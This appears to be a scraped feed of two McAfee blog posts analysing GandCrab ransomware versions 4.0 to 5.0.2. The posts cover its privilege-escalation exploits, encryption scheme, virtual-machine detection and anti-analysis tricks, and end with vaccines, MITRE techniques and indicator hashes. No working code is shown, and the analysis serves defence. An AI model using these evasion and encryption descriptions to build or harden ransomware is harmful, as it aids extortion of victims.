Executing the exploit CVE-2018-8120.

You can read more about this exploit on

The malware checks the version of the operating system and type of user and whether it can get the token elevation information of its own process before employing the use of exploits. In some cases, it fails to infect. For example, in Windows XP the second release of Version 5 runs but does not encrypt the files. (We thank fellow researcher Yassine Lemmou, who shared this information with us.)

We and Lemmou know where the problem is in Version 5.0.2. A few changes to the registry could make the malware run correctly, but we do not want to help the malware authors fix their product. Even though GandCrab’s authors quickly repair mistakes as they are pointed out, they still fail to find some of the basic errors by themselves. (McAfee has had no contact with GandCrab’s developers.)

The second release writes a random extension of five letters instead of using the normal .CRAB or .KRAB extension seen in previous versions. The malware keeps this information as binary data in a new registry entry in the subkey “ext_data\data” and in the value entry of “ext.”

A new registry entry to hold the random extension.

The malware tries creating this new entry in the root key of HKEY_LOCAL_MACHINE. If it cannot—for example, because the user does not have admin rights—it places the entry in the root key HKEY_CURRENT_USER. This entry is deleted in some samples after the files have been encrypted.

Version 5.0.1

This version fixed some internal bugs in the malware but made no other notable changes.

Version 5.0.2

This version changes the random extension length from 5 to 10 characters and fixes some internal bugs. Other bugs remain, however, meaning files cannot always be encrypted.

The latest

This section is based on the latest version of the malware (Version 5.0.2 on October 4), though some elements appear in earlier releases of Version 5. Starting with this version, the malware uses two exploits to try to elevate privileges in the system.

The first exploit uses a dynamic call to the function IsWoW64Process to detect whether the operating system is running in 32 or 64 bits.

The dynamic call to IsWoW64Process with obfuscated strings.

Depending on the result, the malware has two embedded DLLs, encrypted with a simple operation XOR 0x18.

Decrypting the DLL to load with the exploit and fix the header.

The malware authors use a clever trick with fuzzing to avoid detection: The first two bytes of the DLL are trash, something that is later fixed, as we see in the preceding image.

After decryption and loading the exploit, this DLL creates a mutex in the system and some pipes to communicate with the main malware. The malware creates a pipe that the DLL reads later and prepares strings as the mutex string for the DLL.

Preparing the string for the DLL.

The DLL has dummy strings for these strings.

Creating the new mutex and relaunching the process.

This mutex is checked when the malware starts. The function returns a 1 or 0, depending on whether it can open the mutex. Later, this result is checked and if the mutex can be opened the malware will avoid checking the version and will not use the two new exploits to elevate privileges.

Opening the new mutex to check if there is a need to run the exploits.

As with GandCrab Version 4.x and later, the malware later checks the version. If it is Vista or later, it tries to get the “TokenIntegrityLevel” class and relaunch the binary to elevate its privilege with a call to “ShellExecuteExW” with the “runas” application. If the system is Windows XP, the code will avoid that and continue in its normal flow.

This mutex is never created for the main malware; it is created for the DLL loaded using the exploit. To better understand this explanation, this IDA snippet may help:

Explaining the check of mutex and exploits.

This version changes the desktop wallpaper, which is created at runtime and is filled with the extension generated to encrypt the files. (The ransom note text or HTML has the name: <extension_in_uppercase>_DECRYPT. <txt|html>) and the user name of the machine.)

Creating the new wallpaper at runtime.

The username is checked with “SYSTEM.” If the user is “SYSTEM,” the malware puts the name “USER” in the wallpaper.

Checking the name of the user for the wallpaper.

The wallpaper is created in the %TEMP% folder with the name pidor.bmp.

Creating the wallpaper in the temp folder.

Here is an example of strings used in the wallpaper name and to check the name of the user and the format string, whether it is another user, or the final string in the case of SYSTEM user with USER in uppercase.

The name of the wallpaper and special strings.

Finally, the wallpaper is set for any user other than SYSTEM:

Changing the wallpaper.

The malware detects the language of the system and decrypts the strings and writes the correct ransom note in the language of the system.


Customers of McAfee gateway and endpoint products are protected against the latest GandCrab versions. Detection names include Ran-Gandcrabv4! and many others.

An independent researcher, Twitter user Valthek, has also created several vaccines. (McAfee has verified that these vaccines are effective.) The version for GandCrab 4.x through 5.0.2 can prevent the files from being encrypted.

For Version 4.x, the deletion of shadow volumes cannot be avoided but at least the files themselves are kept safe.

For Version 5.x, encrypting the files can be avoided but not the creation and changing of the wallpaper, which the malware will still corrupt. The malware cannot create random extensions to encrypt the files but will prepare the string. Running the vaccine a second time removes the wallpaper if it is in the %TEMP% folder.

The vaccine has versions with and without persistence. The version with persistence creates a random filename in a special folder and writes a special random entry in the registry to run each time with the system. In this case, the machine will always be protected against this malware (at least in its current state of October 10, and perhaps in the future).


Indicators of compromise

These samples use the following MITRE ATT&CK™ techniques:

  • File deletion
  • System information discovery
  • Execution through API
  • Execution through WMIC
  • Application process discovery: to detect antimalware and security products as well as normal programs
  • Query registry: to get information about keys that the malware needs to create or read
  • Modify registry
  • File and directory discovery: to search for files to encrypt
  • Discovery of network shares to encrypt them
  • Encrypt files
  • Process discovery: enumerating all processes on the endpoint to kill some special ones
  • Create files
  • Elevation of privileges
  • Change wallpaper
  • Flood the network with connections
  • Create mutants


  • e168e9e0f4f631bafc47ddf23c9848d7: Version 5.0
  • 6884e3541834cc5310a3733f44b38910: Version 5.0 DLL
  • 2d351d67eab01124b7189c02cff7595f: Version 5.0.2
  • 41c673415dabbfa63905ff273bdc34e9: Version 5.0.2
  • 1e8226f7b587d6cd7017f789a96c4a65: DLL for 32-bit exploit
  • fb25dfd638b1b3ca042a9902902a5ff9: DLL for 64-bit exploit
  • df1a09dd1cc2f303a8b3d5097e53400b: botnet related to the malware (IP


The post Rapidly Evolving Ransomware GandCrab Version 5 Partners With Crypter Service for Obfuscation appeared first on McAfee Blogs.

]]> 0
GandCrab Ransomware Puts the Pinch on Victims Tue, 31 Jul 2018 21:43:15 +0000 Update: On August 9 we added our analysis of Versions 4.2.1 and 4.3.  The GandCrab ransomware first appeared in January and has been updated rapidly during its short life. It is the leading ransomware threat. The McAfee Advanced Threat Research team has reverse engineered Versions 4.0 through 4.3 of the malware. The first versions (1.0 […]

The post GandCrab Ransomware Puts the Pinch on Victims appeared first on McAfee Blogs.

Update: On August 9 we added our analysis of Versions 4.2.1 and 4.3. 

The GandCrab ransomware first appeared in January and has been updated rapidly during its short life. It is the leading ransomware threat. The McAfee Advanced Threat Research team has reverse engineered Versions 4.0 through 4.3 of the malware.

The first versions (1.0 and 1.1) of this malware had a bug that left the keys in memory because the author did not correctly use the flags in a crypto function. One antimalware company released a free decryption tool, posted on, with help of Romanian police and Europol.

The hack was confirmed by the malware author in a Russian forum:

Figure 1. Confirmation by the author of the hack of GandCrab servers.

The text apologizes to partners for the hack and temporarily shuts down the program. It promises to release an improved version within a few days.

The second version of GandCrab quickly appeared and improved the malware server’s security against future counterattacks. The first versions of the ransomware had a list of file extensions to encrypt, but the second and later versions have replaced this list with an exclusion list. All files except those on the list were encrypted.

Old versions of the malware used RSA and AES to encrypt the files, and communicated with a control server to send the RSA keys locked with an RC4 algorithm.

The GandCrab author has moved quickly to improve the code and has added comments to mock the security community, law agencies, and the NoMoreRansom organization. The malware is not professionally developed and usually has bugs (even in Version 4.3), but the speed of changes is impressive and increases the difficulty of combating it.

Entry vector

GandCrab uses several entry vectors:

  • Remote desktop connections with weak security or bought in underground forums
  • Phishing emails with links or attachments
  • Trojanized legitimate programs containing the malware, or downloading and launching it
  • Exploits kits such as RigEK and others

The goal of GandCrab, as with other ransomware, is to encrypt all or many files on an infected system and insist on payment to unlock them. The developer requires payment in cryptocurrency, primarily DASH, because it complex to track, or Bitcoin.

The malware is usually but not always packed. We have seen variants in .exe format (the primary form) along with DLLs. GandCrab is effectively ransomware as a service; its operators can choose which version they want.

Version 4.0

The most important change in Version 4.0 is in the algorithm used to encrypt files. Earlier versions used RSA and AES; the latest versions use Salsa20. The main reason is for speed. RSA is a powerful but slow algorithm. Salsa20 is quick and the implementation is small.

The ransomware checks the language of the system and will not drop the malicious payload if the infected machine operates in Russian or certain other former Soviet languages:

Figure 2. Checking the language of the infected system.

GandCrab encrypts any file that does not appear on the following file-extension exclusion list:

The ransomware does not encrypt files in these folders:

GandCrab leaves these files unencrypted:

The ransomware generates a pair of RSA keys before encrypting any file. The public key encrypts the Salsa20 key and random initialization vector (IV, or nonce)) generated later for each file.

The encryption procedure generates a random Salsa20 key and a random IV for each file, encrypts the file with them, and encrypts this key and IV with a pair of RSA keys (with the public RSA key created at the beginning). The private key remains encrypted in the registry using another Salsa20 key and IV encrypted with an RSA public key embedded in the malware.

After encryption, the file key and IV are appended to the contents of the file in a new field of 8 bytes, increasing the original file size.

This method makes GandCrab very strong ransomware because without the private key to the embedded public key, it is not possible to decrypt the files. Without the new RSA private key, we cannot decrypt the Salsa20 key and IV that are appended to the file.

Finally, the ransomware deletes all shadow volumes on the infected machine and deletes itself.

Version 4.1

This version retains the Salsa20 algorithm, fixes some bugs, and adds a new function. This function, in a random procedure from a big list of domains, creates a final path and sends the encrypted information gathered from the infected machine. We do not know why the malware does this; the random procedure usually creates paths to remote sites that do not exist.

For example, one sample of this version has the following hardcoded list of encrypted domains. (This is only a small part of this list.)

The ransomware selects one domain from the list and creates a random path with one of these words:

Later it randomly chooses another word to add to the URL it creates:

Afterward it makes a file name, randomly choosing three or four combinations from the following list:

Finally the malware concatenates the filename with a randomly chosen extension:

At this point, the malware sends the encrypted information using POST to the newly generated URL for all domains in the embedded list, repeating the process of generating a path and name for each domain.

Another important change in this version is the attempt to obfuscate the calls to functions such as VirtualAlloc and VirtualFree.

Figure 3. New functions to obfuscate the code.

Version 4.1.2

This version has appeared with some variants. Two security companies revealed a vaccine to prevent infections by previous versions. The vaccine involved making a special file in a folder with a special name before the ransomware infects the system. If this file exists, the ransomware finishes without dropping the payload.

The file gets its name from the serial number of the Windows logic unit hard disk value. The malware makes a simple calculation with this name and creates it in the %appdata% or %program files% folder (based in the OS) with the extension .lock.

Figure 4. Creating the special file.

The GandCrab author reacted quickly, changing the operation to make this value unique and use the Salsa20 algorithm with an embedded key and IV with text referring to these companies. The text and the value calculated were used to make the filename; the extension remained .lock.

One of the security companies responded by making a free tool to make this file available for all users, but within hours the author released another Version 4.1.2 with the text changed. The malware no longer creates any file, instead making a mutex object with this special name. The mutex remains and keeps the .lock extension in the name.

Figure 5. Creating a special mutex instead of a special lock file.

The vaccine does not work with the second Version 4.1.2 and Version 4.2, but it does work with previous versions.

Version 4.2

This version has code to detect virtual machines and stop running the ransomware within them.

It checks the number of remote units, the size of the ransomware name running compared with certain sizes, installs a VectoredExceptionHandler, and checks for VMware virtual machines using the old trick of the virtual port in a little encrypted shellcode:

Figure 6. Detecting VMware.

The malware calculates the free space of the main Windows installation logic unit and finally calculates a value.

If this value is correct for the ransomware, it runs normally. If the value is less than 0x1E, it waits one hour to start the normal process. (It blocks automatic systems that do not have “sleep” prepared.) If the value is greater than 0x1E, the ransomware finishes its execution.

Figure 7. Checking for virtual machines and choosing a path.

Version 4.2.1

This version appeared August 1. The change from the previous version is a text message to the company that made the vaccine along with a link to a source code zero-day exploit that attacks one of this company’s products. The code is a Visual Studio project and can be easily recompiled. This code has folders in Russian after loading the project in Visual Studio.

Version 4.3

This version also appeared August 1. This version has several changes from previous versions.

  • It removes the code to detect virtual machines and a few other odd things in Version 4.2. This code had some failure points; some virtual machines could not be detected.
  • It implemented an exploit against one product of the antivirus company that made the vaccine against Version 4.0 through the first release of Version 4.1.2. This code appears after the malware encrypts files and before it deletes itself.

Figure 8. Running an exploit against a product of the company that made a vaccine.

  • New code in some functions makes static analysis with Interactive Disassembler more complex. This is an easy but effective trick: The ransomware makes a delta call (which puts the address of the delta offset at the top of the stack) and adds 0x11 (the size of the special code, meaning the malware author is using a macro) to the value in the ESP register. ESP now points to an address after the block of the special code and makes a jump in the middle of the opcodes of this block. This technique makes it appear like another instruction, in this case “pop eax,” which extracts the value after adding 0x11 from the top of the stack (ESP register). The code later makes an unconditional jump to this address in EAX. This way the ransomware follows its normal code flow.

Figure 9. New code to make static analysis more difficult.


GandCrab is the leading ransomware threat for any person or enterprise. The author uses many ways to install it—including exploits kits, phishing mails, Trojans, and fake programs. The developer actively updates and improves the code to make analysis more difficult and to detect virtual machines. The code is not professionally written and continues to suffer from bugs, yet the product is well promoted in underground forums and has increased in value.

McAfee detects this threat as Ran-GandCrab4 in Versions 4.0 and later. Previous ones are also detected.

Indicators of compromise


This sample uses the following MITRE ATT&CK techniques:

  • File deletion
  • System information discovery
  • Execution through API
  • Execution through WMIC
  • Application process discovery: to detect antimalware and security products as well as normal programs
  • Query registry: to get information about keys that the malware needs make or read
  • Modify registry
  • File and directory discovery: to search for files to encrypt
  • Encrypt files
  • Process discovery: enumerating all processes on the endpoint to kill some special ones
  • Create files
  • Elevation of privileges


  • 9a80f1866450f2f10fa69b1eb8747c344d6ef038468014c59cc50497f9e4675d – version 4.0
  • d9466be5c387eb2fbf619a8cd0922b167ea7fa06b63f13cd330ca974cae1d513 – version 4.0
  • 43b57d2b16c44041916f3b0562712d5dca4f8a42bc00f00a023b4a0788d18276 – version 4.0
  • 786e3c693fcdf55466fd6e5446de7cfeb58a4311442e0bc99ce0b0985c77b45d – version 4.0
  • f5e74d939a5b329dddc94b75bd770d11c8f9cc3a640dccd8dff765b6997809f2 – version 4.1
  • 8ecbfe6f52ae98b5c9e406459804c4ba7f110e71716ebf05015a3a99c995baa1 – version 4.1
  • e454123d852e6a40eed1f2552e1a1ad3c00991541d812fbf24b70611bd1ec40a – version 4.1
  • 0aef79fac6331f9eca49e711291ac116e7f6fbaeb5a1f3eb7fea9e2e4ec6a608 – version 4.1
  • 3277c1649972ab5b43ae9e87087b70ea4825956bfdddd1034f7b0680e6d46efa – version 4.1
  • a92af825bd95b6514f22dea08a4eb6d3491cbad45e69a5b9653b0148ee9f9832 – version 4.1
  • ce093ffa19f020a2b73719f653b5e0423df28ef1d59035d55e99154a85c5c668 – version 4.1.2 (first)
  • a1aae5ae7a3722b83dc1c9b0831c973641b246808de4f3670f2fd916cf498d38 – version 4.1.2 (second)
  • 3b0096d6798b1887cffa1288583e93f70e656270119087ceb2f832b69b89260a – version 4.2
  • e8e948e36fed93061062406693d1b2c402dd8e5788506bfbb50dbd86a5540829 – version 4.2



The post GandCrab Ransomware Puts the Pinch on Victims appeared first on McAfee Blogs.

]]> 0